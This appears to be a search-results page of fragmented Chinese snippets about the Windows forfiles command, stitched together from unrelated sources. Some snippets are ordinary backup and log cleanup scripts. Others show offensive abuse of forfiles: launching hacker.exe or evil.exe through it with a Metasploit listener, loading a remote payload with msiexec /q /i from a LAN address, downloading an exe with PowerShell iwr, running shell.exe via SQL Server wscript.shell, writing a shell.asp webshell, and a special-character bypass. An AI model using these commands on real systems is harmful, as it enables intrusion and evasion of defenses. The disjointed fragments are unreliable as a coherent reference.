28天以前的扩展名为bkf文件（以当前系统时间为基准） forfiles 自动删除7天前文件 delete2008-09-12 15:01 用forfiles.exe试试。...forfiles /p "d:\test" /s /m *.* /d -7 /c "cmd /c del @path" 做成批处理文件，bat文件与forfiles.exe同一目录下，建一个bat...附上forfiles.exe及帮助。...但如果操作系统是 Windows 2000/XP 就比较麻烦，因为它们没有forfiles命令，只能靠自己写批处理来实现了。...关于forfiles和for的详细信息，可以在Windows的帮助与支持中找到。
single-transaction=TRUE --routines --events "demo" >D:\mysql_backup\backup_demo_%Ymd%.sql ::删除两周前的备份数据 forfiles...single-transaction=TRUE --routines --events "demo" >D:\mysql_backup\backup_demo_%Ymd%.sql 对备份文件进行过期删除处理 Forfiles...语法： forfiles [/p Path ] [/m SearchMask ] [/s ] [/c Command ] [/d [{+ | – }] [{MM / DD / YYYY | DD }].../m backup_*.sql 指的是搜索以backup_为前缀，.sql为后缀的文件 /s:指示forfiles 在子目录中搜索。 /c Command:在每个文件上运行指定的Command 。...-d -14：即前14天 ::删除两周前的备份数据 forfiles /p "D:\mysql_backup" /m backup_*.sql -d -14 /c "cmd /c del /f @path
删除日志脚本内容 rem 删除tomcat的日志,保留30天的日志 forfiles /p "D:\apps\apache-tomcat-7.0.82\logs" /s /m *.log /d -30.../c "cmd /c del @path forfiles /p "D:\apps\apache-tomcat-7.0.82\logs" /s /m *.txt /d -30 /c "cmd /c...del @path forfiles /p "D:\apps\apache-tomcat-7.0.82\logs" /s /m *.log.* /d -30 /c "cmd /c del @path
single-transaction=TRUE --routines --events "demo" >D:\mysql_backup\backup_demo_%Ymd%.sql ::删除两周前的备份数据 forfiles...single-transaction=TRUE --routines --events "demo" >D:\mysql_backup\backup_demo_%Ymd%.sql 对备份文件进行过期删除处理 Forfiles...语法： forfiles [/p Path ] [/m SearchMask ] [/s ] [/c Command ] [/d [{+ | - }] [{MM / DD / YYYY | DD }]].../m backup_*.sql 指的是搜索以backup_为前缀，.sql为后缀的文件 /s:指示forfiles 在子目录中搜索。 /c Command:在每个文件上运行指定的Command 。...-d -14：即前14天 ::删除两周前的备份数据 forfiles /p "D:\mysql_backup" /m backup_*.sql -d -14 /c "cmd /c del /f @path
2.查找文件存储路径 forfiles /P "%localappdata%\Microsoft\Windows\INetCache" /S /M * /C "cmd /c echo @path" 参数介绍.../S 指导 forfiles 递归到子目录。像 "DIR /S"。 /M 根据搜索掩码搜索文件。默认搜索掩码是 '*'。 /C 表示为每个文件执行的命令。命令字符串应该用双引号括起来。
Msf监听端口8888 Forfiles： 首先，要说明的是，forfiles是Windows Server 2003内置的命令行文件，其它系统未必适用。...forfiles 是一个命令实用程序，可以选择多个文件并在它们上运行命令，它通常用于批处理作业中，但可能会被滥用以执行任意命令或可执行文件。...命令： forfiles /p c:\windows\system32 /m calc.exe /c C:\tmp\hacker.exe ? Msf开启会话： ?...毫无疑问的是，Hacker.exe 将是forfiles.exe子进程。 当然也可以用windows自带的“运行”来执行命令。
一、编写备份脚本 rem auther:www.xxx.com rem date:20171222 rem ******MySQL backup start******** @echo off forfiles...backup_%Ymd%.sql" @echo on rem ******MySQL backup end******** 这是一段很常见的windows批处理脚本文件，我来简单解释一下其中的关键部分： forfiles.../p "E:\mysql\MySQL BackUp" /m backup_*.sql -d -30 /c "cmd /c del /f @path" forfiles 用来对备份目录下的过期备份进行删除
最后请教Se10rc大佬，可以用forfiles /c test.exe，既： Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell...out Exec SP_OAMeTHOD @runshell,'run',null,'forfiles /c shell.exe';
/haha.dll -------------- forfiles执行 forfiles.exe /q c:\windows\system32 /m cmd.exe /c "msiexec /q /i
进程起的进程，不让执行，当然，这很考验企业的基础设施 白+黑 就执行exe来说，我们出了通过双击,cmd运行以外，还可以存在如下运行方式 利用pcalua Pcalua -m -a axgg.exe 利用forfiles...forfiles -P c:\windows\ /m *.prx /c "cmd /c c:\users\axingg\desktop\axgg.exe 利用rundll32执行 rundll32...利用特殊字符串替换 比如我们的命令，forfiles -P c:\windows\ /m .prx /c "cmd /c c:\users\axingg\desktop\axgg.exe 我们-p可以替换为.../p,甚至可以用特殊字符串绕过 forfiles /ᵖ c:\windows\ /m .prx /c "cmd /c c:\users\axingg\desktop\axgg.exe同样也提一个问题，后面的
:~8,2%_%hour%%time:~3,2%%time:~6,2% echo 123 > %filename%.log // 自动删除旧log日志（-i i是几天，如-1就是删除前一天的日志） forfiles
---- 基于白名单Forfukes远程加载Payload上线 Forfiles为Windows默认安装的文件操作搜索工具之一，可根据日期，后缀名，修改日期为条件。常与批处理配合使用。...随后让靶机运行命令远程加载Payload上线： forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe /q /i http://192.168.2.12
directory popd: pop directory cp: 复制文件或目录 robocopy: 更强大的复制 mv: 移动/重命名文件或目录 more: 按页查看文件 type: 输出整个文件 forfiles
\path.txt forfiles /P C:\ /S /M 1653042293000.png /C "cmd /c dir /a/b/s C:\1653042293000.png > path.txt.../shell.asp forfiles /P C:\ /S /M 1653042293000.png /C "cmd /c echo ^ > shell.asp
所有就有一些间接运行exe的方法 forfiles forfiles是一个用于批处理的一个工具，它在找到文件后会执行指定的命令....forfiles /p 指定搜索文件的目录 /m 指定搜索关键词 /c 指定要执行的命令 forfiles /p c:\windows\system32 /m calc.exe /c c:\tmp\evil.exe...//evil.exe会成为forfiles.exe的子进程 pcalua pcalua -a c:\tmp\evil.exe //evil.exe不会成为子进程 cmd Hijack 下面命令将弹计算器
Forfiles遍历文本内容，forfiles只支持ANSI格式的文本。
指定包的名字 -v 指定包的版本号 -C 指定打包的相对路径 Change directory to here before searching forfiles
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe
指定目标类型，即想要制作为什么包 -n 指定包的名字 -v 指定包的版本号 -C 指定打包的相对路径 Change directory to here before searching forfiles
20240305 常规安全检查阶段添加 Windows Defender 日志检查 修复 知识点附录 -> 0x10 谁决定计划任务的执行结果章节的文字错误 小技巧 -> 0x01 查找文件章节添加dir、forfiles
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
